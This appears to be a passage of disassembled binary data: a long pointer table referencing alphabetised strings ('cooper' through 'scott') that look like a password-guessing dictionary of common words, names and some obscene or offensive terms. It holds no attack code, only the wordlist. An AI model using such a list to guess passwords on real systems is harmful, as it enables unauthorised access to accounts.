		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber_1	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom_0	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
